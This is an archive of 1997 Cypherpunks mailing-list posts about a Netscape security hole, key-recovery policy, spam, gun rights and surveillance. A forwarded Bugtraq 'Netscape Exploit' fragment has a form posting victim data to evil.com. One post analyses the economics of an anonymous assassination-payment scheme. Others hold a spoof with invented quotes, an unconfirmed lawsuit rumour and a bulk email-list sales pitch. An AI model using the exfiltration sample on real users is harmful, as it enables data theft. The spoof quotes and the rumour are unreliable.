Subject: FCPUNX:Netscape Security Flaw is a Feature
Message-ID: <199706141749.KAA22353@proxy4.ba.best.com>



At 09:33 PM 6/12/97 -0700, Tim May wrote:
> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
> Marc Rotenberg commented, "Privacy at the individual user level is
> unimportant, just so long as a Privacy Ombudsman can decide on the
> legitimate needs of law enforcement."

Please cut the spoofing, or add visible indication of when you are
spoofing for the benefit of the less well informed amongst our 
audience.

I suggest that any spoof you write should come not from Tim May, but
from Class B  Citizen Unit 8387 Tim May.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From jamesd at echeque.com  Sat Jun 14 11:05:41 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Sun, 15 Jun 1997 02:05:41 +0800
Subject: FCPUNX:Untraceable Contract Killings
Message-ID: <199706141749.KAA22758@proxy4.ba.best.com>



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> I think the novelty of Bell's scheme is that it allows assassination
> payments to be pooled from a large number of anonymous payers without
> explicit coordination (i.e., the payers do not have to communicate with
> each other to work out a contract, etc.).  For killing a neighbor it
> doesn't improve upon the simple untraceable contract, but it can make a
> big difference when the target has many enemies (Bell gave politicians as
> an example).
>
> Now in light of the fact that when the target has many enemies the
> assassination becomes a non-excludable public good, it is almost certain
> that the scheme cannot actually work in practice.  All of the potential
> payers would rather free-ride and let others pay, so the public good ends
> up not being "produced".

This not correct:  Public goods are underproduced, but they are produced.

Thus Bell's scheme would lead to less than the economically optimal
number of political assassinations, but this is still a great deal 
more than zero, and still likely to have substantial effect on 
political behavior.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From real at freenet.edmonton.ab.ca  Sat Jun 14 11:18:45 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 15 Jun 1997 02:18:45 +0800
Subject: [ANNOUNCEMENT] Forgery detection
In-Reply-To: <199706141738.KAA10002@fat.doobie.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 14 Jun 1997, Huge Cajones Remailer wrote:

> Timmy May studied yoga back-streching exercises for five 
> years so he could blow himself (nobody else will).
> 
>             ,,,
>        -ooO(o o)Ooo- Timmy May
>             (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tzeruch at ceddec.com  Sat Jun 14 12:15:40 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sun, 15 Jun 1997 03:15:40 +0800
Subject: This is NOT trespassing.
In-Reply-To: <199706141643.MAA001.36@butternut.nist.gov>
Message-ID: <97Jun14.151138edt.32257@brickwall.ceddec.com>



On Sat, 14 Jun 1997 cypherpunks at Algebra.COM wrote:

(curiously the author gave the above return address, but since it is more 
or less on-topic)

> Did you pay for your TV?  Do you buy electricity by the KWH?
> Pay a monthly cable bill?  If so, then why isn't a television 
> commercial considered theft of your televised resources?

I can choose to pay extra for commercial-free channels.  The commercials
are added by the broadcasters, and I can choose which broadcasters I
watch.  I can also rent commercial free videotapes.  Don't confuse paying
for a Media Player with payment for (or commercial subsidy of) Media.

> Doesn't it cost something to ride the bus?  Then why aren't
> the public transport's advertisers guilty of stealing your
> wallspace?

The PTA is stealing my money since I don't ride the bus, but I am forced
to pay taxes to support it.  I would be willing to end the government
monopoly on public transportation, and offer both ad-free and ad-bearing
jitneys with a price per ride reflective of the difference in cost.

> What about newspapers, magazines, radio stations, going to
> the movies, driving on any road, almost any PAID activity in
> life?  Each has its attendent advertisments and commercials.

Again, my newspaper or magazine is free to offer an ad-free version at a
different price.  I subscribe to several newsletters which are completely
without advertisement.  Again, it is my choice.

You forgot to mention books.  I didn't notice any ads between the pages of
the last three I read - something must be wrong or left unexploited.

> We PAY for an enormous percentage of solicitations.  Everyday.

No, Media suppliers make decisions whether to sell pure media, or media
with ads, and it is their strategy to maximize profit.  I "pay" for the
ads by not paying extra for the media.

Advertisements in public spaces are a form of speech.  It does not invade
my space (though here billboards are taxed) - I go into a space where
speech occurs, it doesn't invade my space.

> WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Because I am not contracting with anyone for a reduced cost for an email
box with advertisements (FYI there are services with email addresses for
"free" that also tack on ads to messages).  My email box is not part of
the public space, merely connected to it.

I don't object to web pages with ads (closer to the above examples) - it
is the author's choice whether or not to have ads, and my choice whether
or not to go to the web page.  (I would object to pages constructed so as
to display only an ad first, then redirect me to the actual content I
requested). 

Why should AIR be different?  Why should I not be able to drive a car that
belches toxic fumes, and build a plant that pollutes the air - it is just
as much my "public" air, as it is yours, and you will have to pay for my
activities with only a little of your health.

The Spammer is not part of the transaction between me and my ISP, but
pollutes my space with something I don't want.

You are not part of the transaction between the automaker and myself, nor
between me and the customers of my plant, so why should you have a say
even though my polluted air would invade your space?  Close your door and
buy a HEPA filter if you don't like it.  It is the same type of problem
(an externality in economic terms).

> Fact is, it isn't.  Nor will it ever be.  When you make any
> contact in public via any media or communication form, there
> will come invitations, solicitations, possibly vexations and
> the like.  It's one of the prices we must pay in order to be
> able to communicate at all.  

I don't think there should be a law, but if I have have a property right
in my email account, but enforcement is difficult or spotty, I can attempt
to initiate a boycott of the ISP and NSP as I might do with a socially
irresponsible company which endangers me by polluting the air.  If I don't
have such a right, then neither does the email accounts of the ISP and NSP
of the spammer, and they can decide whether or not to supply network
services to the spammers and live with the problems the counterspamming
will create for them, just as I have to live with the spam.

As a specific example:  If AGIS fails to control cyberpromo (for now they
seem to be succeeding), then if everyone forwards spam to
everyone at agis.net (the email scanners work both ways), at some point it
will cost more to agis to deflect the counterspam (and complaints on their
toll-free lines) than the money it gets from cyberpromo, and other
customers using AGIS could be encouraged to drop them and choose a more
"responsible" carrier, or agis can be deleted from routing tables.  They
will either have to insure cyberpromo acts responsibly or stop being their
provider. 

This will not eliminate the problem, but will make it uneconomic in most
cases to spam - if the account is almost instantly cancelled, the only
response would be a mailing address or phone number, and most people won't
call (unless it is toll free), and most people won't print out the form,
so the cost of the spam will exceed any profits generated, and thus it
will stop.

No government need get involved.






From nobody at secret.squirrel.owl.de  Sat Jun 14 12:48:26 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Sun, 15 Jun 1997 03:48:26 +0800
Subject: IBM sues critics?
Message-ID: <19970614184538.11070.qmail@squirrel.owl.de>



According to a usually reliable contact in a position to know, IBM Friday
filed a liable suit against the 11 authors of the study
titled "The risks of key recovery, key escrow and trusted third-party
encryption" plus their employers and the Centere for Democracy and
Technology, which sponsored the report.  According to my contact, IBM
feels that the report directly targets their own key recovery system,
and falsely implies that it isn't reliable.  They are asking for
unspecified damages.

This means IBM is suing such people as Matt Blaze, Whitfield
Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
over the question of whether its key recovery system really works.
Considering that truth is a defense and the details of the
IBM system could be part of the defense's evidence, it should be an
interesting trial to say the least.

I have not seen the actual court papers and really have no idea
whether my contact is totally accurate.  Can anyone confirm the details?
I just read the study in question, and it sounds like IBM is totally
out of line and trying to intimidate its critics with threats of expensive
if frivolous lawsuits. On the other hand, some of the parties named
in the suit (Microsoft, AT&T) have their own armies of lawyers
to defend themselves, so it's hard to be sure of what's going on here.

I think the report is still at www.crypto.com or www.cdt.org.






From jya at pipeline.com  Sat Jun 14 13:33:58 1997
From: jya at pipeline.com (John Young)
Date: Sun, 15 Jun 1997 04:33:58 +0800
Subject: IBM sues critics?
Message-ID: <1.5.4.32.19970614201321.009a8b38@pop.pipeline.com>



Secret Squirrel wrote:
>According to a usually reliable contact in a position to know, IBM Friday
>filed a liable suit against the 11 authors of the study
>titled "The risks of key recovery, key escrow and trusted third-party
>encryption" plus their employers and the Centere for Democracy and
>Technology, which sponsored the report.  According to my contact, IBM
>feels that the report directly targets their own key recovery system,
>and falsely implies that it isn't reliable.  They are asking for
>unspecified damages.


If this report is true it's worth taking a look at IBM's policy paper
"The need for a global cryptographic policy framework" to 
understand why the key study report is such a threat to
Blue's global market strategy:

   http://www.ibm.com/security/html/pp_global.html

IBM's economic incentive to attack the report is substantial, not
least because it hopes to garner the lion's share of global GAK --
not that that's news.






From declan at pathfinder.com  Sat Jun 14 14:19:23 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 15 Jun 1997 05:19:23 +0800
Subject: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: 



I doubt this is true. The report doesn't mention IBM's KR system, and is
so bland as to be innocuous. If anyone knows otherwise, I'd be interested
in learning more. 

-Declan


On 14 Jun 1997, Secret Squirrel wrote:

> According to a usually reliable contact in a position to know, IBM Friday
> filed a liable suit against the 11 authors of the study
> titled "The risks of key recovery, key escrow and trusted third-party
> encryption" plus their employers and the Centere for Democracy and
> Technology, which sponsored the report.  According to my contact, IBM
> feels that the report directly targets their own key recovery system,
> and falsely implies that it isn't reliable.  They are asking for
> unspecified damages.
> 
> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.
> 
> I have not seen the actual court papers and really have no idea
> whether my contact is totally accurate.  Can anyone confirm the details?
> I just read the study in question, and it sounds like IBM is totally
> out of line and trying to intimidate its critics with threats of expensive
> if frivolous lawsuits. On the other hand, some of the parties named
> in the suit (Microsoft, AT&T) have their own armies of lawyers
> to defend themselves, so it's hard to be sure of what's going on here.
> 
> I think the report is still at www.crypto.com or www.cdt.org.
> 
> 






From tomw at netscape.com  Sat Jun 14 15:41:26 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 15 Jun 1997 06:41:26 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706140232.VAA20313@manifold.algebra.com>
Message-ID: <33A31B9C.F76DCB2A@netscape.com>



Igor Chudov @ home wrote:
> 
> Tom, are you going to release the linux version of netscape,
> and when.

I believe we still intend to release a linux version, although it
obviously has a lower priority than Solaris or the Mac.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From jsmith58 at hotmail.com  Sat Jun 14 18:00:40 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Sun, 15 Jun 1997 09:00:40 +0800
Subject: IBM sues critics?
Message-ID: <199706150054.RAA05736@f23.hotmail.com>



Can someone explain the difference between key recovery and key
escrow?  The IBM white paper describes it at
http://www.ibm.com/security/html/pp_global5.html in terms of
giving a keys or a combination to your neighbors, but the
analogy was hard to follow.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From rah at shipwright.com  Sat Jun 14 18:06:23 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 15 Jun 1997 09:06:23 +0800
Subject: e$: Skins vs. Shirts
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Sat, 14 Jun 1997 14:02:41 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  e$: Skins vs. Shirts

At 10:28 am -0400 on 6/14/97, Adam Shostack wrote:


> 	Are FAT file lists stored as files?
>
> 	On a Unix box, /. refers to the file containing directory
> entries, the list of files in the directory.  If there is an analogous
> file on a dos box, you can explore.  (Does the bug work on Unix?  I've
> heard it only works if java or livescript are turned on, so it hasn't
> worried me enough to investigate.)

All this reminds me of something Tim May, Eric Hughes, and others have said
before. Once you've gotten to the point where loss of security equals, in a
very literal sense, loss of money, the incentive to publicize any given
security hole starts to go away.

Adam, above, is speculating about the mechanics of a Netscape security
hole, which, two years ago, would have gotten someone like Ian Goldberg a
grand and a t-shirt, but probably only after they had published it on the
net, just like Mssrs Goldberg and Wagner had to do, in order to get
Netscape's attention. That included directions for how to replicate the
problem. Back then, we wouldn't have been speculating about the mechanics
of the hole, because people would be playing with it to see how it worked.
As it is, latest hole was published in terms of its results only, and not
its mechanics. Instead, those precious details were relased only to
Netscape, and only for, NPR says, "an undisclosed sum".

Lest we think of this as latter-day greenmail, we have to remember that
greenmail actually had it's putative effect, which was to increase the
returns to the shareholders by increasing the stock price. It was never
fair to begrudge T. Boone Pickens the pound of flesh he extracted from
companies like Phillips Petroleum, mostly because the pound he cut off was
usually lard, anyway.  Not to compare Netscape to a Pritikin candidate, of
course. Nobody can see all the consequences of tens or hundreds of
thousands of lines of code, and the very best way to solve the semantic
problem that poses is the internet way, by swarming it to death.

With that in mind, I expect that the next stage in this increasing security
"price" escallation will be much more interesting.  It won't be long before
the first people who say anything about a new security hole will be people
who have money stolen from them, and not much will be said by the people
who discover those holes in the first place. And, of course, lots of those
people probably won't be so virtuous in their use of what they figure out,
either. We're about to enter a new era of parallel evolution, much like the
relationship between cheeetahs and Thompson's gazelles, where a constant
arms race makes predator and prey more efficient, excellerating evolution
in both species.

Now, I don't think this forgives people from publishing their source code,
far from it. I expect that people selling financial cryptography and allied
commercial products will still have to publish their source, or nobody will
trust it enough buy it.  I'm just saying that it will tend to be the
victims, and probably not the next generation of "moneypunks",  who will be
announcing the failure of any given commerce application.



So, instead being one of free shirts, the game will be one of payment in,
um, skins. And, before long, there will be many more skins out there
belonging to people who are spending money than the people who accidentally
built the wallets with holes in them could ever pay in gre$enmail.

Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From dlv at bwalk.dm.com  Sat Jun 14 19:19:55 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 10:19:55 +0800
Subject: IBM sues critics?
In-Reply-To: 
Message-ID: 



Declan McCullagh  writes:

>
> I doubt this is true. The report doesn't mention IBM's KR system, and is
> so bland as to be innocuous. If anyone knows otherwise, I'd be interested
> in learning more.

Maybe IBM took its cue from C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From shamrock at netcom.com  Sat Jun 14 21:12:43 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 15 Jun 1997 12:12:43 +0800
Subject: Netscape Exploit
Message-ID: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>



>Approved-By: aleph1 at UNDERGROUND.ORG
>Date: 	Sat, 14 Jun 1997 19:21:30 -0500
>Reply-To: root 
>Sender: Bugtraq List 
>From: root 
>Subject:      Netscape Exploit
>To: BUGTRAQ at NETSPACE.ORG
>
>Here is a sample it isn't complete but you get the basic idea of what is
>going on
>Evil-DOT-COM Homepage
>
>
>
	NAME="daForm"
>	ACTION="http://evil.com/cgi-bin/formmail.pl"
>	METHOD=POST>
>
>
>
>
>and so on and so forth...
--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From geeman at best.com  Sat Jun 14 22:51:05 1997
From: geeman at best.com (geeman at best.com)
Date: Sun, 15 Jun 1997 13:51:05 +0800
Subject: Impact of Netscape kernel hole
Message-ID: <3.0.32.19970614223746.006d3ea8@best.com>



At 10:28 AM 6/14/97 -0400, Adam Shostack wrote:
>
>
>| >Tim's post (although refuted by Marc) raises some serious issues since I
>| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>	Are FAT file lists stored as files?

not exactly.  you cannot just open and read. you must jump hoops; but does
the nscp hole allow execution of arbitrary code?  that would be much worse
....

>
>	On a Unix box, /. refers to the file containing directory
>entries, the list of files in the directory.  If there is an analogous
>file on a dos box, you can explore.  

so, no: not unless you can write your own foreign code and run it on the
victim pc.


(Does the bug work on Unix?  I've
>heard it only works if java or livescript are turned on, so it hasn't
>worried me enough to investigate.)
>
>Adam
>
>
>
>-- 
>"It is seldom that liberty of any kind is lost all at once."
>					               -Hume
>
>
>
>






From tcmay at got.net  Sat Jun 14 22:52:59 1997
From: tcmay at got.net (Tim May)
Date: Sun, 15 Jun 1997 13:52:59 +0800
Subject: We need more surveillance--a morality play about terrorism
Message-ID: 




[Some speculation about the current American attitudes about terrorism,
about the changes in civil liberties to deal with the "terrorist threat,"
and even some comments about Jim Bell and his predicament.]


I've been watching an HBO movie, "Path to Paradise," about the bombing of
the World Trade Center in February 1993. It's quite well-done, as most HBO
movies of this sort are.

However, it is fairly heavy on a propaganda message which may give some
insights into the likely changes in political freedoms in the United
States. Some examples:

* repeated examples of how the cops and FBI _could have_ arrested the Arabs
if only the Constitution could be reinterpreted to allow arrests for
possession of political pamphlets, guns (legally owned), etc.

* "You mean Islamic radicals are free to preach their message of hate and
violence? Unbelievable!" (This is a paraphrase...there were several such
opinions expressed, where FBI managers express outrage that such things are
permitted in the U.S.)

* The niceties of getting wiretap orders were treated as ways to coddle
criminals.

* The ease with which citizen-units and others can order chemicals and
suchlike was shown graphically, with the subtext being that this easy
ordering ought to be stopped. (This was clear from the dramatic
presentation.)

* Unlike many such movies on criminal matters, there was very little
discussion of civil rights, of the right of persons to move about freely,
and so on.

In short, a morality play about the hazards of letting people plot their
crimes without proper surveillance.

Not to sound conspiratorial, I suspect that this changed climate is
consistent with the views of the FBI and White House, and that HBO is
playing some role (unofficially, of course, and maybe not even consciously)
in this new emphasis.

(In the same way that the Rambo movies, to name just one example, resonated
with American popular opinion in the Reagan era.)

Speculation: This may also have something to do with the "no bail"
predicament Bell now faces. The "stink bomb" he allegedly used in an IRS
building could be Sarin gas, putatively, given the claims that he had Sarin
precursors. Now we may mostly think he's harmless, but the combination of
this new "let's get tough on terrorist plotters" mood, combined with the
chemical stuff they found, his calls for killing of government agents, his
apparent willingness to use chemical bombs (so the claim goes), all add up
to a "get tough" outcome. Whether it stays this way past his arraignment in
a few weeks is of course unknown.

(Any magistrate or DA who watches this HBO movie might be wondering if
releasing Bell would be turning him loose to launch a Sarin gas attack on
his Fed enemies. I don't think this is a plausible threat, knowing what I
know of Bell.)

Something to think about. Between the World Trade Center bombing and OKC,
there seem to be more people saying that certain civil liberties need to be
given up to ensure security.

Where have we heard this before? (Hint: back in Ben Franklin's day.)


--Tim May, who's sorry he missed the display of firepower at the physical
meeting today




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Sat Jun 14 23:15:17 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 15 Jun 1997 14:15:17 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <19970614230152.15019@bywater.songbird.com>



On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>Kent Crispin  said:
>
>>                            Amendment I
>
>>Congress shall make no law respecting an establishment of religion, or
>>prohibiting the free exercise thereof; or abridging the freedom of
>>speech, or of the press; or the right of the people peaceably to
>>assemble, and to petition the Government for a redress of grievances. 
>
>>                           Amendment II
>
>>A well regulated Militia, being necessary to the security of a free
>>State, the right of the people to keep and bear Arms, shall not be
>>infringed. 
>
>Which part of "shall not be infringed" don't you understand Kent??  

I understand that part almost perfectly, I daresay.  It's the rest of 
the sentence that is subject to various interpretations.

The wording of the second amendment is strange, and I have read
several highly opinionated pieces about what it means.  I also read
relevant sections of the Federalist/Anti-Federalist papers.

First of all, consider what it does not say.  It does *not* say 
"Congress shall make no law" -- meaning therefore that congress *can* 
make laws, as long as the rest of the sentence is observed.

It does *not* say "the right of an *individual* to keep and bear arms 
shall not be infringed.  It says "the people", a collective term.  It 
references a *well-regulated* militia.

Furthermore, this amendment was derived from input from two states (I 
don't have the documents handy, or I would tell you exactly).
There are caveats in both of the documents, referring to such things 
as "public safety".  The founding fathers were quite aware that it 
isn't necessary to allow criminals to carry guns at all times.

Therefore my interpretation is that according to the constitution,
there is a broad right for the population to own guns, but that right
is fundamentally justified through "the security of a free State". 
Use of arms contrary to the security of the state is not justified
through the second amendment, nor does the second amendment prohibit
congress or the states from controlling such unjustified use of arms.

Thus, the police can take guns away from common thiefs without fear of
a constitutional challenge.  And states, cities, and other 
governmental agencies can regulate arms for the public good, which may 
mean that certain individuals can't own weapons, or that certain kinds 
of weapons can be proscribed.

Here's an analogy -- imagine a hypothetical addition to the Bill of 
Rights, amendment -1:

                           Amendment -1

A healthy economy, being necessary to the security of a free
State, the right of the people to engage in business, shall not be
infringed.

The key is the "engage in business" clause.  Engaging in business
implicitly involves a set of rules of the game.  Inforcing those
rules, or modifying them in light of new circumstances (eg invention
of the telephone) is not the same as "infringing". 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From 52622216 at compuserve.com  Sun Jun 15 14:41:49 1997
From: 52622216 at compuserve.com (52622216 at compuserve.com)
Date: Sun, 15 Jun 1997 14:41:49 -0700 (PDT)
Subject: THE BEST DEAL AROUND.... PERIOD!
Message-ID: <1233021673627.GAA08056@compuserve.com>


{Removal instructions at bottom... }


 <><><>  Attention Internet Marketers ... Look no further.  <><><>

 30 (thirty) MILLION PLUS E-MAIL ADDRESSES - ONLY US$149!


(Please Note: Introductory offer - we encourage you to act soon.)


WorldWide Marketing Group is pleased to finally offer to the direct marketer,
the culmination of its intensive 6 month long project in compiling the single
largest e-mail address list available anywhere - over 30 million e-mail
addresses free of duplicates, one per line and alphabetically sorted - for
only US$149! This is for real... there is NO catch!

This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft
Network and general Internet addresses, is split into 120 easily manageable
ZIP files (unzip utilities included on CD) of 250,000 addresses each and is 
delivered to you on CD-ROM via regular mail. Sorry, but the sheer size of this
list makes it unfeasible to deliver via diskette or allow downloading via FTP.

The address files themselves consist of 1 address per line and are in 
standard ASCII text format - ready right away for use with any of the 
popular bulk e-mail packages available today.

Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO
trailing or embedded white noise characters, NO garbage addresses with more
than one '@' character, NO embedded parentheses '(' or ')', NO 'Postmaster'
addresses, NO addresses beginning with non-valid characters (..addresses must 
begin with 0-9 or a-z), and all are in lower-case.

The list itself is *not* categorized or targeted by any geographic 
region or demographic in any way. It is simply a HUGE general list 
sorted in alphabetical order for the best price on the internet!

Indeed, this is absolutely the *best* offer around for the direct marketer,
and will finally put the little guy on even ground with even the biggest
bulk e-mailers!

Bulk e-mail is still in its infancy and is the new wave in cost-effective
global marketing. This huge list offers a whole world of vast potential sales
for you and your products - get on board now before you find yourself left
behind. We wish you success and we'll see you at the top!


To order in a secure fashion online via credit card (VISA/MasterCard/AMEX) 
just go to:

http://americapro.com/worldwide/

Or to order via regular mail, please send bank draft, money order (..sorry,
no personal or business cheques please) or your credit card information to:

                           
                        Worldwide Marketing Group
                                  Box 48029
                                  Bedford, NS
                              Canada B4A 3Z2


(Please allow up to 1.5 to 2 weeks for delivery.)

Thank you very much and sorry for the intrusion...


Sincerely,
   Worldwide Marketing Group
   worldwide at writeme.com
   worldwide at savetrees.com

   (for fastest response, send message to both)


P.S: If you have received this message more than once, we apologize.
        Our mail program accidentally deleted our remove list. For
        removal from any future mailings, please send an e-mail with REMOVE
        in the subject field to : 

sandk at answerme.com

        We regret that we are unable to supply a telephone
        contact number. Due to the harassing calls  we have
        received from anti-bulk e-mailers, we must withhold our 
        phone number. We apologize for the inconvenience.








From rwright at adnetsol.com  Sat Jun 14 23:46:25 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Sun, 15 Jun 1997 14:46:25 +0800
Subject: Responses to "Spam costs and questions" (long)
Message-ID: <199706150640.XAA22854@adnetsol.adnetsol.com>



On or About  6 Jun 97 at 23:41, Dr.Dimitri Vulis KOTM wrote:

> If you set up your mailbox to accept e-mail promiscuously from
> anyone, then anything sent to it is "consentual".

Exactly.  And if you put an e-mail address on a web-site, it's fair 
game.  You consent to have me, at least, comment.

> The onus is on the recipient to filter out what they don't want (or

And not the onus of the Government to save us from the nasty bad evil 
spammers.

> to "filter in" only what they want, which is how I think we'll end
> up). Such filtering takes less time+effort than "repeated
> cease-and-desist notes".

Like any spammer listens to those anyway.  I was sent so many of 
those when I started, it didn't scare me at all.  But now I'm a 
reformed, kinder, gentler spammer.  Most times they don't even know 
they've been spammed.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> talk about this (and I do hope Ross will will this of interest!),
> let's

You bet.  I'm bummed that I missed out on this whole conversation, 
it's a week old now.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> Also instead of just building the biggest possible list of e-mail
> addresses, they build a targeted database, keeping track where a
> particular e-mail address was found.

That's right.  I've got different lists for the different places that 
I harvested them from.

> Suppose a person subscribes to
> a "porsche owners" mailing list, and goes to an investment- related
> channel on one of the IRC servers. In no time he'll be getting "junk
> e-mail" related to the interests he expressed - possibly even saying
> "I'm writing you because I saw you on the #invest channel on
> Tuesday, and I want to tell you about this hot new penny stock"
> 
> Left to itself, the market will stabilize and the occasional
> unsolicited bulk e-mail will be even less of a nuisance than it is
> now.

Please.  I beg all of you just to let it settle it's self.  No 
regulation is needed, or wanted.  It's not that bad.

On or About  7 Jun 97 at 13:37, Declan McCullagh wrote:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.

I don't want anyone telling me what I have to put into the subject 
field of my bulk e-mailings.

> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 
> -Declan

On or About  8 Jun 97 at 5:36, Declan McCullagh wrote:

> I don't think commercial speech should be treated as second-class
> speech. But my position is hardly surprising. 
>

Declan, thanks.  You are right that speech is speech.
 
On or About  9 Jun 97 at 23:45, Kent Crispin wrote:

And here's where it degrades into discussions about ads and sales 
tactics and all that stuff that the general public is so frightened 
of.  It's like salesmen are the reviled, untouchables in our society. 
Needed but hated.  These topics always fall to the level of 
the morals of given marketing strategies.

That's not what this is about.

It's about freedom to tell people about a product in any way that you 
can.

> > When a tobacco company says in an ad, "Joe Camel is cool", what
> > kind of contractual obligations does it assume?
> 
> None.  I did not say that all ads were part of a contract.
> 
> > Have you ever bought a used car, Kent?  Have you seen the language
> > in the contract that throws out whatever promises the saleguy made
> > that are not a part of the contract? 
> 
> Yes, but never from a used-car lot, always from people I know.  I
> have

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From whgiii at amaranth.com  Sat Jun 14 23:55:45 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 15 Jun 1997 14:55:45 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
Message-ID: <199706150643.BAA03179@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614230152.15019 at bywater.songbird.com>, on 06/14/97 
   at 11:01 PM, Kent Crispin  said:

>On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>>Kent Crispin  said:
>>
>>>                            Amendment I
>>
>>>Congress shall make no law respecting an establishment of religion, or
